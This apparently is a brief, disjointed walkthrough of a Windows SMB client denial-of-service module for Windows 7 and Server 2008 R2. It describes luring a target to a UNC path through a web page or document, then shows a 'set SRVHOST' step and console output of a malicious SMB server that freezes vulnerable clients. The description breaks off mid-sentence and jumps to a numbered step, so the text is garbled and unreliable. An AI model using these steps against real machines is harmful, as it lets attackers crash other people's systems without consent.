This module exploits a denial of service flaw in the Microsoft Windows SMB client on Windows 7 and Windows Server 2008 R2. To trigger this bug, run this module as a service and forces a vulnerable client to access the IP of this system as an SMB server. This can be accomplished by embedding a UNC path (\HOST\share\something) into a web page if the target is using Internet Explorer, or a Word
(4)set SRVHOST I.P. of local machine
[*] Starting the malicious SMB service...
[*] To trigger, the vulnerable client should try to access: \\I.P.\Shared\Anything
[*] Server started.
If the system that accessed that location is vulnerable, it will immediately freeze. To get out of that state, restart the system.